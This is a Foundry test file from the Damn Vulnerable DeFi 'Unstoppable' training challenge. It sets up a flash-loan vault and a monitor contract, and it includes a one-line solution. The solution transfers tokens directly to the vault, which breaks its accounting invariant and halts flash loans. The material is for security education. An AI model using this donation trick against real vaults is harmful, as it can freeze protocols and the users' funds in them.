forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DamnVulnerableDeFi-01-Unstoppable.t.sol
112 lines (91 loc) · 3.73 KB
/
DamnVulnerableDeFi-01-Unstoppable.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {UnstoppableVault, Owned} from "../../src/unstoppable/UnstoppableVault.sol";
import {UnstoppableMonitor} from "../../src/unstoppable/UnstoppableMonitor.sol";
contract UnstoppableChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address monitor = makeAddr("monitor");
uint256 constant TOKENS_IN_VAULT = 1_000_000e18;
uint256 constant INITIAL_PLAYER_TOKEN_BALANCE = 10e18;
DamnValuableToken public token;
UnstoppableVault public vault;
UnstoppableMonitor public monitorContract;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token and vault
token = new DamnValuableToken();
vault = new UnstoppableVault({_token: token, _owner: deployer, _feeRecipient: deployer});
// Deposit tokens to vault
token.approve(address(vault), TOKENS_IN_VAULT);
vault.deposit(TOKENS_IN_VAULT, address(deployer));
// Fund player's account with initial token balance
token.transfer(player, INITIAL_PLAYER_TOKEN_BALANCE);
// Deploy monitor contract and grant it vault's ownership
monitorContract = new UnstoppableMonitor(address(vault));
vault.transferOwnership(address(monitorContract));
// Monitor checks it's possible to take a flash loan
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(true);
monitorContract.checkFlashLoan(100e18);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
// Check initial token balances
assertEq(token.balanceOf(address(vault)), TOKENS_IN_VAULT);
assertEq(token.balanceOf(player), INITIAL_PLAYER_TOKEN_BALANCE);
// Monitor is owned
assertEq(monitorContract.owner(), deployer);
// Check vault properties
assertEq(address(vault.asset()), address(token));
assertEq(vault.totalAssets(), TOKENS_IN_VAULT);
assertEq(vault.totalSupply(), TOKENS_IN_VAULT);
assertEq(vault.maxFlashLoan(address(token)), TOKENS_IN_VAULT);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT - 1), 0);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT), 50000e18);
// Vault is owned by monitor contract
assertEq(vault.owner(), address(monitorContract));
// Vault is not paused
assertFalse(vault.paused());
// Cannot pause the vault
vm.expectRevert("UNAUTHORIZED");
vault.setPause(true);
// Cannot call monitor contract
vm.expectRevert("UNAUTHORIZED");
monitorContract.checkFlashLoan(100e18);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 10e18);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// Flashloan check must fail
vm.prank(deployer);
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(false);
monitorContract.checkFlashLoan(100e18);
// And now the monitor paused the vault and transferred ownership to deployer
assertTrue(vault.paused(), "Vault is not paused");
assertEq(vault.owner(), deployer, "Vault did not change owner");
}
}